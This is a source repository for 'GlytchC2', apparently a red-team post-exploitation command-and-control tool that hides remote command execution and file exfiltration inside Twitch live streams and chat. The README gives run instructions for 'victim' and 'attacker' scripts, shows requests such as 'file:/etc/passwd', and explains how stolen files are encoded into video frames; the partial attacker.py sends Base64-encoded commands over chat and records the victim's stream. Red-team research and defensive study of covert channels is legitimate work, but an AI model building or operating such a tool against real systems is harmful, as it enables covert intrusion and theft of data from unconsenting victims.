├── LICENSE ├── README.md ├── attacker ├── attacker.py ├── crawler.py ├── decoder.py ├── example.env └── twitch_chat_irc.py ├── requirements.txt ├── rsc ├── GlytchC2_Banner.PNG ├── GlytchC2_MainExecutionFlow.jpg ├── GlytchC2_newbanner.png ├── README.md ├── attacker_commandexec.png ├── attacker_decodeframe.png ├── attacker_fetchstreamlink.png ├── attacker_filerequest.PNG ├── attacker_initialexec.PNG ├── attacker_output1.PNG ├── attacker_output2.png ├── attacker_record.png ├── attacker_removeduplicateframes.png ├── victim_cleanup.PNG ├── victim_initialexec.png ├── victim_initializestream.png ├── victim_targetfile.png ├── victim_twstreaming.PNG └── yt_banner.PNG └── victim ├── encoder.py ├── example.env ├── twitch_chat_irc.py └── victim.py /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Glytch Command-and-Control (C2) Tool 2 | 3 | ![DEFCON 33 Red Team Village](https://img.shields.io/badge/DEFCON%2033%20Red%20Team%20Village-8A2BE2) ![DEFCON 33 Demo Labs](https://img.shields.io/badge/DEFCON%2033%20Demo%20Labs-8A2BE2) 4 | 5 |

6 | 7 | # A FAFO project: Command execution and data exfiltration of any kind through live streaming platforms 8 | 9 | This tool has been developed by **Anıl ÇELİK** ( [LinkedIn](https://linkedin.com/in/anilcelik97) , [GitHub](https://github.com/ccelikanil) ) and **Emre ODAMAN** ( [LinkedIn](https://linkedin.com/in/emreodaman) , [GitHub](https://github.com/eodaman) ) 10 | 11 | Glytch is a post-exploitation tool serving as a Command-and-Control (C2) & Data Exfiltration service. 12 | 13 | It creates a covert channel through Twitch live streaming platform and lets attacker to execute an OS command or exfiltrate a data of any kind from the target computer (does not matter whether the computers are connected over a LAN or WAN). 14 | 15 | Multi-platform (e.g. YouTube, Instagram) support is on our agenda and we are working on some kinks on such platforms' implementation challenges. 16 | 17 | ## Why? 18 | 19 | As a penetration tester, it can be challenging to conceal your real IP address during the post-exploitation phase, especially if you're trying to cover your tracks and potentially exfiltrate data. Your current environment may block unknown IP addresses, requiring a legitimate and trustworthy communication channel. 20 | 21 | ## Disclaimer 22 | 23 | Use at your own discretion. 24 | 25 | While this tool alone will not cause any damage, attacking systems/networks without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. We assume no liability and we are not responsible for any misuse or damage caused by this. 26 | 27 | ## Features 28 | 29 | Currently, **"GlytchC2"** offers two functionalities: 30 | - Command execution on remote host 31 | - Retrieve file from remote host 32 | 33 | ## Main Execution Flow 34 |

35 |

Figure 1 - Main Execution Flow

36 | 37 | ## Proof-of-Concept (PoC) & How it works 38 | 39 | ### PoC Video 40 | 41 | [![GlytchC2 PoC](rsc/GlytchC2_Banner.PNG)](https://youtu.be/69HJH92Swx0) 42 |

Video 1 - PoC

43 | 44 | ### Installation of dependencies 45 | 46 | - Rename ``example.env`` files to ``.env``, both for attacker and victim 47 | - Get the oauth token to access chat from ``https[:]//twitchtokengenerator[.]com/`` ( credits: swiftyspiffy ) ( redirected from ``https[:]//twitchapps[.]com/tmi`` ) 48 | - Replace the username and tokens 49 | 50 | - Get the stream key from ``Twitch > Creator dashboard > Settings > Stream > Primary stream key`` 51 | - Stream key is provided to ``victim.py`` , channel is provided to both ``victim.py`` and ``attacker.py`` as CLI arguments. 52 | 53 | ``` 54 | # sudo apt install python3-pil python3-emoji python3-decouple ffmpeg streamlink 55 | ``` 56 |

Code Block 1 - Installing Dependencies

57 | 58 | - Note : Valid for Kali 2025.2 , other distros might require different packages 59 | 60 | ### Proof-of-Concept (PoC) 61 | 62 | - As this tool can be used on post-exploitation, you need a working shell on the target environment and have necessary permissions/privileges. 63 | - Run ``victim.py`` first and then run ``attacker.py`` 64 | - When you execute ``victim.py`` on the target host, host gets connected to the IRC chat of given channel by using provided "oauth" key in the ``.env`` file. You can execute ``victim.py`` with following command: 65 | 66 | ``` 67 | # cd victim 68 | # python3 victim.py --channel --streamkey 69 | ``` 70 |

Code Block 2 - Running "victim.py"

71 | 72 | - Then, victim waits for receiving a request containing either an OS command or a file with it's path: 73 | 74 |

75 |

Figure 2 - Running "victim.py"

76 | 77 | - After victim side is up and waiting for a request, attacker needs to connect corresponding channel's IRC chat: 78 | 79 | ``` 80 | # cd attacker 81 | # python3 attacker.py --channel 82 | ``` 83 |

Code Block 3 - Running "attacker.py"

84 | 85 |

86 |

Figure 3 - Running "attacker.py"

87 | 88 | - Then, attacker either can send an OS command e.g. ``whoami`` or request a file download e.g. ``file:/etc/passwd`` 89 | 90 |

91 |

Figure 4 - Running "whoami" on Remote Host

92 | 93 | - **IMPORTANT:** Note that the stream link may be fetched with a delay, therefore the program will try until obtain a valid stream link. 94 | - We also have inserted a blank frame in the first 10 seconds of the video to prevent missing the frames. 95 | - After the victim receives a command, it starts a stream to output the result of executed command (whether an OS command or a file request): 96 | 97 |

98 |

Figure 5 - Victim Starts Streaming (Result of "whoami")

99 | 100 | - In here, attacker obtains the stream link and begins recording the stream on their end. 101 | 102 |

103 |

Figure 6 - Fetching Stream Link (Attacker)

104 | 105 |

106 |

Figure 7 - Recording Stream (Attacker)

107 | 108 | - After attacker finishes recording the stream, the program will remove duplicate frames and keep the originals in order to pass them to the decoder: 109 | 110 |

111 |

Figure 8 - Removing Duplicate Frames

112 | 113 |

114 |

Figure 9 - Decoding Recorded Frame(s)

115 | 116 | - Decoded frame content is below: 117 | 118 |

119 |

Figure 10 - Decoded Frame Content (Result of "whoami" OS command)

120 | 121 | - We can also request a file with ``file:`` prefix, e.g. ``systeminformer-3.2.25011-release-setup.exe``: 122 | 123 |

124 |

Figure 11 - "systeminformer-..." File Located In Victim

125 | 126 | - Sending file request from attacker: 127 | 128 |

129 |

Figure 12 - Requesting Target File w/File Path (Attacker)

130 | 131 | - Victim starts streaming (Twitch screen): 132 | 133 |

134 |

Figure 13 - Victim Starts Twitch Stream

135 | 136 | - When the stream finishes, victim cleans up generated files: 137 | 138 |

139 |

Figure 14 - Stream Ending & Cleanup (Victim)

140 | 141 | - Finally, transferred file (note that the SHA256 hash is same with victim's local file; indicating that the file has been transferred with 100% integrity): 142 |

143 |

Figure 15 - Transferred File (Attacker)

144 | 145 | ### How it works? 146 | 147 | #### Encoder Script (encoder.py) 148 | 149 | #### Purpose 150 | 151 | The encoder reads an input file (either raw binary or a hex string), splits it into fragments (if necessary), and converts each fragment into a PNG image. In that image, both metadata (a header) and the payload are “drawn” by mapping small units of data (nibbles) into corresponding 8‑bit grayscale pixel values. The reason for choosing grayscale is to avoid corruption caused by chroma subsampling. Each pixel is encoded as six repeating nibbles (4-bits/1 HEX char). Therefore, every byte is encoded into 2 pixels, minimum. The header includes essential information (e.g. payload length, grid dimensions, fragment index/total, border thickness, expected overall dimensions, and the file name). 152 | 153 | #### Key Concepts & Methods 154 | 155 | **Constants and Header Structure** 156 | 157 | Constants: 158 | - ``DEFAULT_BORDER``, ``HEADER_HEIGHT``, ``MARKER_COLOR``, and ``MIN_CELL`` are defined to set dimensions and ensure the markers and header are drawn with reliable parameters. 159 | 160 | Header Structure: 161 | - The header is 279 bytes long (21 fixed bytes plus 258 extra bytes for file name—2 for the length and 256 for the actual name). 162 | 163 | It contains: 164 | - 4 bytes: Payload length (number of data bytes for this fragment). 165 | - 2 bytes: Number of grid columns for the payload. 166 | - 2 bytes: Number of grid rows for the payload. 167 | - 4 bytes: Fragment index (useful when data is split across multiple images). 168 | - 4 bytes: Total fragments. 169 | - 1 byte: Border thickness (dummy field, ensuring that marker values don’t conflict with data values). 170 | - 2 bytes: Expected overall image width. 171 | - 2 bytes: Expected overall image height. 172 | - 2 bytes: File name length. 173 | - 256 bytes: File name (UTF‑8 encoded, padded or truncated to fit). 174 | 175 | **Mapping Data to Grayscale** 176 | 177 | Nibble Mapping: 178 | - Each nibble (4 bits, with a value 0–15) is mapped to an 8‑bit grayscale value by multiplying by 17 (i.e. 0→0, 1→17, …, 15→255). This uniform spacing prevents ambiguities during decoding. 179 | 180 | Header Conversion: 181 | - The header bytes are split into nibbles. Each nibble is then drawn into a “cell” in the header region of the image. The header is placed at the top of the safe data region. 182 | 183 | Payload Conversion: 184 | - The payload (fragment data) is similarly converted: every byte is split into two nibbles and then placed into the grid below the header. 185 | 186 | **Image Construction** 187 | 188 | Outer Border and Markers: 189 | - A new grayscale image is created. The function draw_nested_frames() draws “photo-frame” style borders in the outer border area using a fixed grayscale value (based on the nibble value 190 | - The function draw_marker_lines() draws a one‑pixel thick marker rim along the safe area boundaries. These markers help the decoder to locate the actual data region. 191 | 192 | Grid Determination: 193 | - The safe area (inside the border) is divided into a header region (of fixed height) and a payload grid. The grid’s dimensions (columns and rows) are calculated based on the safe region size and a minimum cell size. 194 | 195 | Fragmentation Logic: 196 | - The maximum payload per image is computed from the number of available grid cells (each cell stores one nibble; two nibbles form one byte). 197 | - If the file’s data exceeds the capacity of one image, the file is split into fragments, and each fragment is encoded separately. 198 | 199 | Saving the Output: 200 | - Finally, the constructed image is saved as a PNG file. Informational messages are printed to detail the image dimensions, safe region, grid configuration, and payload size. 201 | 202 | # 203 | 204 | #### Decoder Script (decoder.py) 205 | 206 | #### Purpose 207 | 208 | The decoder takes one or more PNG images (which are fragments produced by the encoder) and reconstructs the original file. It does so by locating the safe (data) region, reading the header to learn the grid and payload configuration, and then reading the payload grid (by converting grayscale values back into nibbles, and then reassembling bytes). 209 | 210 | **Key Concepts & Methods** 211 | 212 | Matching Constants: 213 | 214 | - The decoder uses exactly the same constants as the encoder (for header size, marker color, and so on). This is crucial because the header and payload layout must match exactly for the data to be recovered correctly. 215 | 216 | Marker Detection: 217 | ``find_marker_edges()``: 218 | - Scans the image near its edges (within a “search window”) to detect marker lines. 219 | - It checks rows and columns to see if a high percentage of pixels match the marker color ``MARKER_COLOR``, then returns the boundaries (top, bottom, left, right) of the safe region. 220 | - If marker detection fails, a fallback using expected overall dimensions is used. 221 | 222 | Header Extraction: 223 | ``extract_header()``: 224 | - Reads the header region from the safe area by dividing the header region into cells. For each cell, the central pixel’s grayscale value is converted back into a nibble (by dividing by 17). 225 | - Nibbles are combined (two at a time) to reconstruct the original header bytes. 226 | - The header is parsed to extract metadata (payload length, grid dimensions, fragment index/total, border thickness, expected overall dimensions, and the file name). 227 | 228 | Payload Decoding: 229 | - The remainder of the safe region (below the header) is divided into grid cells. 230 | - For each cell, the center pixel’s value is converted back into a nibble. These nibbles are then reassembled into bytes (two nibbles per byte) to reconstruct the payload. 231 | 232 | Reassembly of Fragments: 233 | - If multiple PNG fragments exist, the decoder collects them (verifying their headers) and concatenates their payload bytes in the proper order to rebuild the complete file. 234 | - The file name is recovered from the header and used when saving the reconstructed data. 235 | 236 | # 237 | 238 | #### Overall Logic 239 | 240 | Why Use a Grid and Nibble Conversion? 241 | - By mapping 4‑bit nibbles to fixed 8‑bit grayscale values (multiples of 17), the system ensures that each cell in the image represents a specific, unambiguous piece of data. This coarse encoding is robust against small variations, making it easier to decode even if the image is resized or slightly distorted. 242 | 243 | Header Inclusion: 244 | - The header carries all metadata required for decoding—this means the decoder knows exactly how to interpret the grid (number of columns, rows, fragment indices, etc.) and can verify that the correct file is being reassembled. 245 | 246 | Marker Lines: 247 | - The use of marker lines (drawn along the safe region boundary) gives the decoder a reliable reference to the boundaries of the data region. This is important because the image might have extra borders or frames, and the decoder must know where the actual data begins and ends. 248 | 249 | Fragmentation: 250 | - If the input file is too large to fit in one image (given the grid cell size), it is split into multiple fragments. Each fragment’s header contains its index and the total number of fragments. This way, the decoder can reconstruct the file by concatenating the payloads in order. 251 | 252 | # 253 | 254 | ## What's next? & Current Roadmap for this project 255 | 256 | - Youtube, Instagram and other widely used major streaming platforms support 257 | - Utilization of audio to increase data transfer rate 258 | - More functionalities - e.g. bi-directional data transfer 259 | 260 | ## Credit 261 | 262 | - Special thanks to: [Contributor: Istemihan Bulut](https://github.com/istemihanbulut) 263 | - [Twitch Chat IRC - Xenova GitHub](https://github.com/xenova/twitch-chat-irc/) 264 | - [Twitch Token Generator - swiftyspiffy GitHub](https://github.com/swiftyspiffy) 265 | -------------------------------------------------------------------------------- /attacker/attacker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # Developed by Anıl Çelik (@ccelikanil) and Emre Odaman (@eodaman), the use of this tool is restricted to educational purposes only. The developers do not assume any responsibility and do not accept any accusations in the event of misuse. 4 | 5 | import argparse 6 | import base64 7 | import hashlib 8 | import os 9 | import re 10 | import subprocess 11 | import time 12 | import uuid 13 | 14 | from twitch_chat_irc import TwitchChatIRC # provided IRC module 15 | 16 | # --- Constants --- 17 | OK_TIMEOUT = 30 # seconds to wait for "OK" 18 | READY_TIMEOUT = 600 # seconds to wait for "READY" 19 | CRAWLER_SCRIPT = "crawler.py" 20 | DECODER_SCRIPT = "decoder.py" 21 | RETRY_DELAY = 1 # seconds to wait before retrying crawler 22 | 23 | banner = ''' 24 | 25 | 26 | ░▒▓██████▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓████████▓▒░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░░▒▓███████▓▒░ 27 | ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ 28 | ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ 29 | ░▒▓█▓▒▒▓███▓▒░▒▓█▓▒░ ░▒▓██████▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓████████▓▒░▒▓█▓▒░ ░▒▓██████▓▒░ 30 | ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ 31 | ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░ 32 | ░▒▓██████▓▒░░▒▓████████▓▒░▒▓█▓▒░ ░▒▓█▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░░▒▓██████▓▒░░▒▓████████▓▒░ 33 | 34 | Developed by: Anıl Çelik (@ccelikanil) and Emre Odaman (@eodaman) 35 | 36 | for educational purposes only 37 | 38 | ''' 39 | 40 | def generate_short_id(): 41 | """Generate an 8-character hex string (using UUID4).""" 42 | return uuid.uuid4().hex[:8] 43 | 44 | def send_command(chat, channel, command_text): 45 | """ 46 | Prepend a short unique ID to the command, Base64‑encode it, 47 | and send it via chat. 48 | """ 49 | uid = generate_short_id() 50 | payload = f"{uid}:{command_text}" 51 | b64_payload = base64.b64encode(payload.encode()).decode() 52 | chat.send(channel, b64_payload) 53 | print(f"[Attacker] Sent command with ID: {uid}") 54 | return uid 55 | 56 | def wait_for_response(chat, channel, expected_message, timeout): 57 | """Poll the channel until a message exactly matching expected_message is received.""" 58 | start = time.time() 59 | while time.time() - start < timeout: 60 | messages = chat.listen(channel, timeout=5, message_limit=1) 61 | for msg in messages: 62 | text = msg.get("message", "").strip() 63 | if text == expected_message: 64 | print(f"[Attacker] Received expected response: {text}") 65 | return True 66 | time.sleep(1) 67 | print(f"[Attacker] Timeout waiting for '{expected_message}'.") 68 | return False 69 | 70 | def capture_stream(uid, channel): 71 | """ 72 | Invoke the crawler to capture the victim’s stream. 73 | This routine now retries the crawler until a valid stream link is detected. 74 | After success, it removes duplicate PNG frames (via SHA‑256) 75 | and runs the decoder to reconstruct the delivered file. 76 | Returns the file name reconstructed by the decoder. 77 | """ 78 | # Prepare an output pattern that includes the unique ID. 79 | output_pattern = f"{uid}-%04d.png" 80 | channel = f"https://twitch.tv/{channel}" 81 | crawler_cmd = ["python", CRAWLER_SCRIPT, "--channel", channel, "--output", output_pattern] 